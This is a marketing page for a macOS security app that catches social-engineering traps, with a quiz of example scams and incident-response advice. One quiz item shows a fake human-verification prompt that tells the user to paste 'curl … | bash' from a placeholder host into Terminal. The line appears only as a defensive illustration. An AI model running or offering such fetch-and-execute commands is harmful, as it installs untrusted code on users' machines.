Free
- Downloads GuardFiles that arrive from the internet
- Security updatesEvery update, for everyone
Antivirus catches malware.
Shisa catches the trap.
Files, pasted commands, copied addresses and cloned projects, checked on your Mac before they hurt.
FreeNo accountNothing uploadedAlready ran something?
Real Shisa notch alerts, recorded from its own detectors on a demo Mac.
five real traps · 30 seconds
Spot the trap.
Each one has emptied real wallets or stolen real logins. Answer, then see what Shisa does with it.
trap 1 of 5
A page you landed on says:Demo. Nothing is copied.
Verify you are human
1. Press ⌘ + Space and type Terminal
2. Press ⌘ + V to paste the check code
3. Press Return
2. Press ⌘ + V to paste the check code
3. Press Return
curl -fsSL https://get.example.invalid/install.sh | bash
You copied a friend’s address, then switched to your wallet:
You copied0x7a3F…91c2
Wallet “Send to” field0x7a3F…91c2
On your Desktop, for safekeeping:
wallet-backup.pngA screenshot of your 12-word recovery phrase
A recruiter sends a take-home test:
“Clone it, run it, send us a screenshot by tonight.”
~/Projects/take-home-test $ npm install
Your browser works fine and hasn’t asked to update in weeks:
Google Chrome 131.0.6778.69Last updated 5 weeks ago
Do what it says?
Answer to see what Shisa does.
Right
you spotted 0 of 5
Shisa checks all five, every day, without asking you to play.
And when nothing is wrong, you won’t hear from it at all.
the last twelve months on macOS
They didn’t break in.
They asked.
Each of these needed one yes from a person. That yes is where Shisa stands.
built on top of macOS, not against it
Apple covers a lot. Shisa looks where it doesn’t.
| Built into macOS | What it does | What Shisa adds |
|---|---|---|
| Gatekeeper | Checks apps in files macOS marked as downloaded. | Also files that arrive without that mark, and what is inside an archive before you open it. |
| XProtect | Blocks malware Apple already knows. | Wallet apps with no real signature, and signed apps that claim to be someone else. |
| Terminal paste warning | Warns about some risky pastes into Terminal, since macOS 26.4. | iTerm2, Warp, Ghostty, the VS Code terminal, and copied wallet addresses. |
| Nothing | — | Recovery phrases in screenshots, code a cloned project runs on install, and apps on your Mac with flaws being used in attacks. |
Five ordinary downloads arrive and nothing appears. The sixth, FreeConvert.zip, brings up Shisa’s panel.
quiet by design · real recording, 14 s
Five files: silence. The sixth: one question.
A warning you have learned to ignore protects no one. Shisa aims for well under two questions a week, so the one it asks gets read. No popups selling other products, no scan counters.
already ran something?
First, the honest part.
Shisa stops traps before they run. It can’t undo one that already did, and no app should promise you that. Do these in order, today.
- 01Take the Mac off the internetTurn off Wi-Fi and unplug Ethernet, so nothing more leaves.
- 02Change passwords from another deviceEmail first, then exchanges, banks and your Apple Account. Sign out other sessions.
- 03Move crypto to a brand-new walletCreate it on a different device. Treat the old recovery phrase as known.
- 04Look for what was left behindA malware scanner such as Malwarebytes, or KnockKnock from Objective-See, shows what starts with your Mac. Shisa’s Incident page walks through the same checks, calmly.
- 05If money moved, write it downNote times, addresses and transaction IDs, and report to your exchange and local police.
what it does to your Mac
A security app shouldn’t be the next risk.
No root helper, no system extension, the fewest permissions it can work with, signed updates. If Shisa ever has a problem, your files still open. Check every connection below with LuLu or Little Snitch.
every connection Shisa makes
update feednew versions and advisory lists, signed
billing servicechecks your key, Shisa Pro only
AI explanationoff unless you turn it on
analytics, telemetrynone by default
files, clipboardnever sent
Shisa only contacts the billing service to check your key. No files or clipboard contents are sent.
who is behind it
One named person, and promises you can check.
Made by KanzAn independent developer, not a venture-funded suite.
If Shisa changes hands, you hear it firstHere and in the app, before any update ships under a new owner.
Open, and in the openA public changelog, signed releases with SHA-256, a security contact.
price
The core is free, and never switches off.
Shisa Pro
- Seeds gateRecovery phrases in files and screenshots
- Clipboard gateCopied crypto addresses and lookalikes
Try it 14 days, on your Mac alone: no card, nothing sent.
Pro opens with 1.0
Never turned offWhen Pro ends, only Seeds gate and Clipboard gate go quiet.
A key, not an accountWorks on up to 3 Macs. Move it whenever you like.
Renews yearly, cancels in one stepA reminder before each renewal. Cancel online, no email to support.
Refunds without questionsTaxes are worked out at checkout.
The questions people actually ask
Isn’t XProtect enough?
For known malware, XProtect does a lot. Many recent attacks use a new or signed app and ask you to approve it. Shisa looks at that approval, and at files macOS never checks.
Isn’t another security app just another way in?
It can be, which is why Shisa has no root helper and no system extension, asks for few permissions, and signs its updates.
Does it phone home?
Only for the connections listed above. No analytics framework, no telemetry by default.
Is a notarized app always fine?
No. Some stealers have shipped notarized until Apple revoked them. Shisa shows who signed a file and whether that matches what it claims to be.
Can it clean my Mac?
No. Shisa prevents; it doesn’t remove malware. See “Already ran something?” above.
Put a guardian at the gate.
On Okinawa, shisa sit on rooftops and at gates. This one sits in your menu bar.
Coming soon for macOS 26Shisa will never ask you to drag anything into Terminal, or to open System Settings to get around a warning.Check the download yourself: spctl -a -vv /Applications/Shisa.app